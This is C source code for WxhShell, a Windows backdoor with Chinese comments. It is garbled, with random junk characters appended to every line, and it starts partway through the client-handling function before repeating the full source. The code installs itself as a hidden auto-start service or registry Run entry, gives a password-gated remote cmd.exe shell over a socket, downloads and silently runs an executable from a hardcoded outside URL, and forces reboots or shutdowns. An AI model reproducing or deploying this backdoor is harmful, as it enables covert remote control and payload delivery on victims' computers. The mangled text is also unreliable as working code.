    closesocket(wsh); A1zM$ wDU  
    ExitThread(0); \:]Clvc  
    } /Y:&307q  
    break; O&Q_ vY  
    } vF0#]  
  // 关机 E8zga )  
  case 'd': { Z;=G5O uvQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fi^ I1*S  
    if(Boot(SHUTDOWN)) P% _cIR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %eB0 )'  
    else { ^EWkJW,Yc  
    closesocket(wsh); T_|%n F-+  
    ExitThread(0); MWl?pG!Y  
    } 1r;]==  
    break; l5QH8eNwME  
    } e3,TY.,Ay  
  // 获取shell oa$-o/DhB  
  case 's': { ma[%,u`  
    CmdShell(wsh); QE*O~Yj  
    closesocket(wsh); W~(@*H  
    ExitThread(0); mIgc)"  
    break; GOuBNaU {  
  } pQAG%i^mF  
  // 退出 ".A+'pJ  
  case 'x': { Dn~r~aR$g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g"aWt% P  
    CloseIt(wsh); ms2y[b  
    break; `!WtKqr%B  
    } =lY6v -MBw  
  // 离开 f.8Jp<S2K  
  case 'q': { S`g:z b_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Mq4$|qhD  
    closesocket(wsh); 6/_] |4t  
    WSACleanup(); X^;[X~g  
    exit(1); QP/%+[E.  
    break; };;\&#  
        } M &`ZF  
  } zj:= 9$  
  } ,ab_u@  
8>^(-ca_  
  // 提示信息  .>?h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gwVfiXR4  
} `q =e<$  
  } ?4>uGaU\  
HQPb  
  return; .G-F5`2I  
} /I Ql  
O`Ht|@[6  
// shell模块句柄 $p_FrN{  
int CmdShell(SOCKET sock) !;Hi9,<#7g  
{ BCnf'0q  
STARTUPINFO si; 9 {&APxm  
ZeroMemory(&si,sizeof(si)); 6x18g(KbP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rb8c^u#r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2K >tI9);  
PROCESS_INFORMATION ProcessInfo; 9J>b6   
char cmdline[]="cmd"; u=j|']hp#&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dzA5l:5  
  return 0; J6m`XC  
} jC_7cAsl  
VjZ_L_U}  
// 自身启动模式 oh%kuO T[  
int StartFromService(void) /JP]5M)   
{ /48W]a}JS  
typedef struct bpe8 `b(#  
{ t:A,pT3  
  DWORD ExitStatus; TTNgnP  
  DWORD PebBaseAddress; "v.]s;g  
  DWORD AffinityMask;  $^&SEz  
  DWORD BasePriority; %y@iA91K  
  ULONG UniqueProcessId; <9za!.(zu  
  ULONG InheritedFromUniqueProcessId; wLa^pI4p ^  
}   PROCESS_BASIC_INFORMATION; TWv${m zE  
TF\<`}akX  
PROCNTQSIP NtQueryInformationProcess; >)Ih[0~M  
w1zI"G~4/Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]U :1N C"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NW-l_]k  
7e,<$PH  
  HANDLE             hProcess; ~cE;k@  
  PROCESS_BASIC_INFORMATION pbi; ^iaeY jI  
*%0f^~!G<p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ETu7G5?  
  if(NULL == hInst ) return 0; ;bt@wgY  
>$.u|a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ++KY+j.^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `[+9n2j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5io7!%  
(wJtEoB9^  
  if (!NtQueryInformationProcess) return 0; T;-Zl[H  
#unE>#DW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $s2-O!P?  
  if(!hProcess) return 0; ivdw1g|)h  
7R\!'`]\M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xco$ yF%  
d}f| HOFq  
  CloseHandle(hProcess);  1fbd/-h  
mB(*)PwZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -;$+`<%  
if(hProcess==NULL) return 0; ;F&wGe  
t\2myR3  
HMODULE hMod; $,k SR}  
char procName[255]; ;(w=}s%]+  
unsigned long cbNeeded; {d$S~  
i_GE9A=h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ED1".&#f  
JxQwxey{  
  CloseHandle(hProcess); PMZdz>>T  
XA])<dZ  
if(strstr(procName,"services")) return 1; // 以服务启动 :C42yQAP  
S&-sl   
  return 0; // 注册表启动 @"9y\1u  
} i7~oZ)w  
| -Di/.  
// 主模块 cFLu+4.jsG  
int StartWxhshell(LPSTR lpCmdLine) #f|-l$a)3a  
{ Rn{q/h  
  SOCKET wsl; >ge-yK 1  
BOOL val=TRUE; (Cp:NS  
  int port=0; }jd[>zk  
  struct sockaddr_in door; }jU{RR%6B  
;lGa.RD[a  
  if(wscfg.ws_autoins) Install(); p)ZlQ.d#Y  
^F?H)[0  
port=atoi(lpCmdLine); 17D167\X  
^ +{ ~ ^y7  
if(port<=0) port=wscfg.ws_port; K=sQ_j.&Z  
7k6rhf7H  
  WSADATA data; c%~'[W04\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cu;X{F'H  
H@IX$+;z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \)BKuIP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %o4d4 3uZ  
  door.sin_family = AF_INET; 2|}p&~G(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =< CH(4!  
  door.sin_port = htons(port); SATZ!  
`?JrC3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D3.sR\Hxf  
closesocket(wsl); hQGZrZK#  
return 1; e^'?:j  
} Tjs-+$P+  
bf;IJ|v^  
  if(listen(wsl,2) == INVALID_SOCKET) { >4EcV1y  
closesocket(wsl); YSrFHVq  
return 1; 3SIB #"9  
} A v2 _A  
  Wxhshell(wsl); He!0&B\7h  
  WSACleanup(); Kg]( kP  
l3g6y 9;  
return 0; q=nMZVVlF(  
rW\~sTH  
} La9@h"  
=D[h0U  
// 以NT服务方式启动 !d(!1fC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n@mUQ6  
{ q',a7Tf:  
DWORD   status = 0; d'3'{C|kk  
  DWORD   specificError = 0xfffffff; df J7Dhn  
k6Tpaf^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,}2j Fb9z4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =kc{Q@Dk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *E. 2R{  
  serviceStatus.dwWin32ExitCode     = 0; I(7gmCV  
  serviceStatus.dwServiceSpecificExitCode = 0; i'5bPW  
  serviceStatus.dwCheckPoint       = 0; wUV%NZB  
  serviceStatus.dwWaitHint       = 0; >y8Z{ALQ5  
T8m%_U#b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AT9SD vJ  
  if (hServiceStatusHandle==0) return; SQ1&n;M}f  
r2Z`4tN:  
status = GetLastError(); L+kS8D<  
  if (status!=NO_ERROR) :<(<tz7dj  
{ =H?Nb:s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :YI>AaYWDO  
    serviceStatus.dwCheckPoint       = 0; 2mT+@G  
    serviceStatus.dwWaitHint       = 0; hBqu,A  
    serviceStatus.dwWin32ExitCode     = status; v4.V%tg!  
    serviceStatus.dwServiceSpecificExitCode = specificError; @"EX%v.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ND7F  
    return; , XR8qi~  
  } Qv=Z  
Z)&HqqT3p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]s S oIT  
  serviceStatus.dwCheckPoint       = 0; Arv8P P^'  
  serviceStatus.dwWaitHint       = 0; (1HN, iJy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sI'HS+~pU  
} _ o(h]G1].  
S\rfR N  
// 处理NT服务事件,比如:启动、停止 t8+93,*B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [eN{Ft0x  
{ g!8lW   
switch(fdwControl) dEp=;b s  
{ od fu7P_  
case SERVICE_CONTROL_STOP: e_;6UZ+  
  serviceStatus.dwWin32ExitCode = 0; wz#n$W3mGf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [P,nW/H  
  serviceStatus.dwCheckPoint   = 0; }.vy|^X  
  serviceStatus.dwWaitHint     = 0;  zVa+5\Q  
  { Uwk|M?94  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5~F0'tb|}  
  } BkeP?X  
  return; pk4&-iu9  
case SERVICE_CONTROL_PAUSE: t*#&y:RG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T}TP.!0E  
  break; <i6MbCB  
case SERVICE_CONTROL_CONTINUE: qsRh ihPX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZIl<y{  
  break; `y#C%9#  
case SERVICE_CONTROL_INTERROGATE: 3"n8B6  
  break; J_@4J7  
}; Uy:.m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jx<  
} MO/N*4U2  
( -@>  
// 标准应用程序主函数 1aG}-:$t'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aB)DX  
{ (I.`bR  
buXG32;  
// 获取操作系统版本 1 %`:8  
OsIsNt=GetOsVer(); 0Kk*~gR?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {[?|RC;\Y  
z;fSd  
  // 从命令行安装 lg+g:o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;I'/.gW;{  
J.l%H U  
  // 下载执行文件 bn35f<+  
if(wscfg.ws_downexe) { ?g4|EV-56  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E=NY{| >  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~S!kn1&O  
} BaAb4{  
Hrnql  
if(!OsIsNt) { \[EWxu  
// 如果时win9x,隐藏进程并且设置为注册表启动 \k_3IP?o=  
HideProc(); Q%2Lyt"(  
StartWxhshell(lpCmdLine); 5qEdN  
} ooSd6;'  
else Dys"|,F  
  if(StartFromService()) pe})A  
  // 以服务方式启动 VH6|(=8  
  StartServiceCtrlDispatcher(DispatchTable); <1BK 5%?  
else o7XRa]O  
  // 普通方式启动 #U D  
  StartWxhshell(lpCmdLine); DG?\6Zh  
TWEqv<c  
return 0; ;@ X   
} J*X.0&Toc  
J9.p8A^^2  
KBe {  
! hr@{CD  
=========================================== (Nb1R"J `  
>L`mF_WG  
;_5 =g  
~HRWKPb  
3y B6]U  
SVh4)}.x  
" 86F+N_>Z  
12xP)*:$  
#include <stdio.h> >8O=^7  
#include <string.h> Bqlc+d:  
#include <windows.h> \Pmk`^T  
#include <winsock2.h> )#~fS28j  
#include <winsvc.h> !!%nl_I(  
#include <urlmon.h> m (:qZW  
Ec*7n6~9  
#pragma comment (lib, "Ws2_32.lib") {; cB?II  
#pragma comment (lib, "urlmon.lib") WC*:\:mh  
e*6` dz@  
#define MAX_USER   100 // 最大客户端连接数 G%jJ>T4  
#define BUF_SOCK   200 // sock buffer Q8cPKDB  
#define KEY_BUFF   255 // 输入 buffer wg_CI,Kq  
g*r;( H>e  
#define REBOOT     0   // 重启 B^~Bv!tHWr  
#define SHUTDOWN   1   // 关机 hg'!  
'OW"*b  
#define DEF_PORT   5000 // 监听端口 ]u ~Fn2  
 m+{: ^  
#define REG_LEN     16   // 注册表键长度 U2lC !j%K  
#define SVC_LEN     80   // NT服务名长度 @M^Qh Hs  
PVc|y.  
// 从dll定义API YPDsE&,J)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7d8qs%nA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T)tHN#6I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pbxcsA\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >1pH 91c'  
={@ @`yP^$  
// wxhshell配置信息 6Ok=q:;  
struct WSCFG { |P0L,R  
  int ws_port;         // 监听端口 ~LW%lMy;^|  
  char ws_passstr[REG_LEN]; // 口令 NZW)X[nXM  
  int ws_autoins;       // 安装标记, 1=yes 0=no :42;c:85  
  char ws_regname[REG_LEN]; // 注册表键名 Mqf}Aiqk;  
  char ws_svcname[REG_LEN]; // 服务名 cYy @  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i3&B%JiLX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^_h7!=W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wK`ieHmp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MGyB8(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KXA)i5z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::R00gd  
[pFu ] ^X  
}; xp8f  
seU^IC<  
// default Wxhshell configuration 'Qq_Xn8  
struct WSCFG wscfg={DEF_PORT, SJc@iffS  
    "xuhuanlingzhe", KM(9& 1/  
    1, jP.b oj_u*  
    "Wxhshell", 9`n) "r  
    "Wxhshell", S@zkoj@  
            "WxhShell Service", {2gd4[:  
    "Wrsky Windows CmdShell Service", R{KIkv  
    "Please Input Your Password: ", )^>XZ*eK  
  1, t:s q*d  
  "http://www.wrsky.com/wxhshell.exe", S Ljf<.S  
  "Wxhshell.exe" 7O9hn2?e  
    }; ^zPEAXm  
(yAvDyJOn  
// 消息定义模块 o"}&qA;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n.XhK_6n]M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4J 51i*`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J[Yg]6  
char *msg_ws_ext="\n\rExit."; CC(*zrOd-  
char *msg_ws_end="\n\rQuit."; S{(p<%)[  
char *msg_ws_boot="\n\rReboot..."; q(tG bhQ  
char *msg_ws_poff="\n\rShutdown..."; P(gVF |J?  
char *msg_ws_down="\n\rSave to "; :htq%gPex9  
O:=|b]t  
char *msg_ws_err="\n\rErr!"; J1Ki2I=  
char *msg_ws_ok="\n\rOK!"; S O:V|Tfj  
^N2M/B|0  
char ExeFile[MAX_PATH]; BS,5W]ervE  
int nUser = 0; ,ibPSN5Ca  
HANDLE handles[MAX_USER]; ssyd8LC#  
int OsIsNt; o),6o'w(  
x gT~b9  
SERVICE_STATUS       serviceStatus; hn\Q6f+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K _+;"G  
oSA*~N:  
// 函数声明 b801O F  
int Install(void); LUDJPIk  
int Uninstall(void); |~b R.IA  
int DownloadFile(char *sURL, SOCKET wsh); DMcxa.Sd!  
int Boot(int flag); [kuVQ$)  
void HideProc(void); YyJ{  
int GetOsVer(void); Z'*Z@u3  
int Wxhshell(SOCKET wsl); 7kX$wQZ_  
void TalkWithClient(void *cs); YaNH.$.:  
int CmdShell(SOCKET sock); #W%)$k c  
int StartFromService(void); ^?7dOW  
int StartWxhshell(LPSTR lpCmdLine);  I`'a'  
UUMdZ+7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1^f.5@tV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =1 BNCKT<  
%X"m/4c8}  
// 数据结构和表定义 E_D ^O  
SERVICE_TABLE_ENTRY DispatchTable[] = ]dbSa1?  
{ 0+<eRR9 -  
{wscfg.ws_svcname, NTServiceMain}, 4o4 =  
{NULL, NULL} 4`U0">gY  
}; 24jtJC,7  
o!toO&=  
// 自我安装 ^>X)"'0+  
int Install(void) c@ZS|U*(  
{ w*u{;v#  
  char svExeFile[MAX_PATH]; 8 ih;#I=q  
  HKEY key; pPyvR;NJ  
  strcpy(svExeFile,ExeFile); Q-8'?S  
3 IWLBc  
// 如果是win9x系统,修改注册表设为自启动 '-PMF~~S  
if(!OsIsNt) {  Vp] D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "rx^M*"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FJf~vAQ  
  RegCloseKey(key); 46K&$6eN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sP?$G8-^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W[>iJJwz  
  RegCloseKey(key); )v52y8G-p  
  return 0; 2\nN4WL 5.  
    } )jlP cO-  
  } x9)aBB  
} Ob8B  
else { sCF40AoY&  
Zgg'9E  
// 如果是NT以上系统,安装为系统服务 cZgMA8 F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iO*`(s  
if (schSCManager!=0) nJleef9  
{ 4N~+G `  
  SC_HANDLE schService = CreateService ,'C30A*p  
  ( v. Xoq  
  schSCManager, gE@$~Q>M  
  wscfg.ws_svcname, \+iu@C  
  wscfg.ws_svcdisp, _^ q\XPS  
  SERVICE_ALL_ACCESS, eB= v~I3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a(@p0YpKT  
  SERVICE_AUTO_START, =9pw uH  
  SERVICE_ERROR_NORMAL, WgA`kT  
  svExeFile, ^Ue0mC7m  
  NULL, H\fcY p6  
  NULL, Sk/#J!T8{  
  NULL, (S  k#x  
  NULL, ]^:hyO K  
  NULL Re*|$r#  
  ); ,\o<y|+`S  
  if (schService!=0) n$XdSh/   
  { y !<'rg  
  CloseServiceHandle(schService); .!(,$'(@=  
  CloseServiceHandle(schSCManager); Z&FkLww  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3ar=1_Ar  
  strcat(svExeFile,wscfg.ws_svcname); aqs%m (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J]}FC{CD!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2yln7[a  
  RegCloseKey(key); 6ORY`Pe7P|  
  return 0; c[VrC+e m  
    } ?&znUoB  
  } ,Z>wbMJig  
  CloseServiceHandle(schSCManager); e=t<H"&  
} P_p6GT:5  
} Ys-Keyg  
>1x7UXs~:  
return 1; )Fqy%uR8  
} r8uqcKfU  
PSTu/^  
// 自我卸载 t`"^7YFS>  
int Uninstall(void) -@''[m.*  
{ =- $!:W~  
  HKEY key; OlMBMUR:  
#B @X  
if(!OsIsNt) { i`prv&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VpkD'<G  
  RegDeleteValue(key,wscfg.ws_regname); aSOU#Csx  
  RegCloseKey(key); J&M1t#UN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5kcJ  
  RegDeleteValue(key,wscfg.ws_regname); iQt!PMF.  
  RegCloseKey(key); b5A Gk  
  return 0; F:%^&%\  
  } M h`CP  
} k$C"xg2  
} Dp*:Q){>E  
else { 8q?;2w\l  
>']+OrQH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C"w,('~@kW  
if (schSCManager!=0) GDF{Lf)/v  
{ U1l0Uke  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fr+@HUOxsl  
  if (schService!=0) KNy`Lj)VPY  
  { [?-]PZ  
  if(DeleteService(schService)!=0) { ;}LJh8_  
  CloseServiceHandle(schService); xE%O:a?S  
  CloseServiceHandle(schSCManager); OI+E (nA  
  return 0; n`]l^qE  
  } 81Z4>F:  
  CloseServiceHandle(schService); ?>sQF4 V"  
  } Dk6?Nwy"  
  CloseServiceHandle(schSCManager); (nLKQV 1  
} tG/a H%4S  
} ?^|QiuU:n  
LI[ ?~P2\  
return 1; JwZ?hc  
} TfJL+a0  
kLJlS,nh\r  
// 从指定url下载文件 wG+=}1X  
int DownloadFile(char *sURL, SOCKET wsh) o]A XT8  
{ ;Xqn-R  
  HRESULT hr; tJ"az=?  
char seps[]= "/"; XdpF&B&K7Q  
char *token; [4p=X=B  
char *file; @0$}? 2  
char myURL[MAX_PATH]; C` pp  
char myFILE[MAX_PATH]; O@s{uZ|A6  
h1# S+k  
strcpy(myURL,sURL); 80Ag  
  token=strtok(myURL,seps); Y)|~:& tZ  
  while(token!=NULL) Jy9bY  
  { gI)u}JX  
    file=token; rJ DnuR  
  token=strtok(NULL,seps); [[w2p  
  } )R~aA#<>  
(^LS']ybc  
GetCurrentDirectory(MAX_PATH,myFILE); 0Q'v HZ"  
strcat(myFILE, "\\"); be7L="vZw  
strcat(myFILE, file); tw=K&/@^O  
  send(wsh,myFILE,strlen(myFILE),0); x=.tiM{#  
send(wsh,"...",3,0); y0<U u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I:i<>kG  
  if(hr==S_OK) tRteyNA  
return 0; e&0NK8&#+  
else `m%:rE,  
return 1; bp#fyG"  
u, eZ6  
} #4><r.v3  
Nsn~@.UuSW  
// 系统电源模块 \^&   
int Boot(int flag) ;UrK {>B  
{ ;|<(9u`  
  HANDLE hToken; ~Q?!W0ZBE  
  TOKEN_PRIVILEGES tkp; CZY7S*fL  
n+HsQ]z.  
  if(OsIsNt) { 3y ryeS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .5.8;/ /  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'seyD  
    tkp.PrivilegeCount = 1; qgx?"$ Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :6Pnie  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =NZ[${7mq  
if(flag==REBOOT) { D<t~e$H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SauH>  
  return 0; Cp^g'&  
} ]dG\j^e|  
else { T1W:>~T5#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'z5h3J  
  return 0; \vCGU>UY  
} \gItZ}+c4}  
  } i.y=8GxY  
  else { _ij$f<  
if(flag==REBOOT) { 4PWAGuN^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @A{m5h  
  return 0; K'aWCscM  
} \5TxE  
else { ` H XEZ|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e3 v5,.  
  return 0; vc8?I."?  
} ong""K4H  
} 3?.1n Gu  
s]H^wrg&  
return 1; xx }GOY.J  
} G 4qy*.  
fxgU~'  
// win9x进程隐藏模块 \G>ZkgU  
void HideProc(void) iY~rne"l  
{ O4L#jBa+  
lZW K2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]Bnwk o  
  if ( hKernel != NULL ) ,a0pAj  
  { ;Lo&}U3F,!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &:3Z.G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _1L(7|^~y[  
    FreeLibrary(hKernel); so+4B1$)q  
  } >$H|:{D  
jQ=~g-y  
return; +7U  
} nX^1$')gp  
l?8)6z#Zl  
// 获取操作系统版本 ~e">_;k6  
int GetOsVer(void) +th%enRB  
{ bA@P}M)X  
  OSVERSIONINFO winfo; e;VIL 2|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kesy2mE  
  GetVersionEx(&winfo); 0 [8=c&F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aDL*W@1S  
  return 1; *hdC?m. _  
  else ]]BOk  
  return 0; {2 %aCCV  
} F[Q!d6  
(qBvoLkF9N  
// 客户端句柄模块 a{'Z5ail  
int Wxhshell(SOCKET wsl) @I-Lv5  
{ v,OpTu:1  
  SOCKET wsh; QA;!caNp  
  struct sockaddr_in client; Tycq1i^  
  DWORD myID; &(blN.2  
o' 'wCr%  
  while(nUser<MAX_USER) iY0>lDFm.  
{ wX,F`e3"/  
  int nSize=sizeof(client); ` ;)ZGY\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o.7{O,v  
  if(wsh==INVALID_SOCKET) return 1; {gsdG-  
0F:1\9f5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P"3*lk+w  
if(handles[nUser]==0) P0Z! ?`e=M  
  closesocket(wsh); Zy0aJN>  
else +4qU>  
  nUser++; ZA(T  
  } :I1_X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ymN!-x8q>'  
yx>_scv,T  
  return 0; ycAKK?O*  
} a9U_ug58  
)92r{%N  
// 关闭 socket o[1ylzk}+  
void CloseIt(SOCKET wsh) 8K"+,s(%R  
{ bKDA!R2  
closesocket(wsh); ][;G=oCT  
nUser--; Kw5Lhc1V  
ExitThread(0); # 1.YKo  
} )G1P^WV4  
n_u1&a'  
// 客户端请求句柄 6oD\-H  
void TalkWithClient(void *cs) k`{7}zxS  
{ +q<B.XxkA  
58V[mlW)O0  
  SOCKET wsh=(SOCKET)cs; nBItO~l  
  char pwd[SVC_LEN]; XORk!m|  
  char cmd[KEY_BUFF]; x=Hndx^  
char chr[1]; Q.U$nph\%d  
int i,j; I+(/TP  
M*eJ JY  
  while (nUser < MAX_USER) { 3oy~=  
q MYe{{r  
if(wscfg.ws_passstr) { 8, "yNq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x_#-tB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LiQgR 6j  
  //ZeroMemory(pwd,KEY_BUFF); \]4v_!  
      i=0; *QGm/ /b  
  while(i<SVC_LEN) { 1O/ g&u  
t.Nb? /  
  // 设置超时 2&!bfq![  
  fd_set FdRead; .L6Zm U  
  struct timeval TimeOut; PU<PhuMd  
  FD_ZERO(&FdRead); Z{6kWA3Kk  
  FD_SET(wsh,&FdRead); E#wS_[  
  TimeOut.tv_sec=8; gJ$K\[+  
  TimeOut.tv_usec=0; "&.S&=FlI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9=X)ung9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LE6.nmvS  
^' M>r (t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q`NXJf=sc  
  pwd=chr[0]; {'En\e  
  if(chr[0]==0xd || chr[0]==0xa) { Q]/Uq~m C  
  pwd=0; cD|Htt"  
  break; M<PIeKIEB  
  } "KX=ow#z|  
  i++; /4\wn?f  
    } 7R4z}2F2  
mEyK1h1G @  
  // 如果是非法用户,关闭 socket 4QOEw-~w&s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ikD1N  
} [BBEEI=|r  
*Lqg=9kzr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BQH}6ueZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F[ ajOb8  
"XgmuSQ!  
while(1) { b89a)k>^g  
'B5^P  
  ZeroMemory(cmd,KEY_BUFF); ?S$i?\Qh  
l:#-d.z#  
      // 自动支持客户端 telnet标准   ) rW&c- '  
  j=0; :r#)z4d5  
  while(j<KEY_BUFF) { azQD>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0|&\'{  
  cmd[j]=chr[0]; 8lF\v/vN  
  if(chr[0]==0xa || chr[0]==0xd) { 1NQbl+w#I  
  cmd[j]=0; 'y]\-T  
  break; FTc.]laO  
  } mrIh0B:`  
  j++; 7\]E~/g  
    } zmj"fN{\  
t\P<X^d%  
  // 下载文件 *Xo]-cKL0  
  if(strstr(cmd,"http://")) { 2*"Fu:a"`I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =OIw*L8C"I  
  if(DownloadFile(cmd,wsh)) uiq^|5Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qyC=(v  
  else WQ yLf;!Lz  
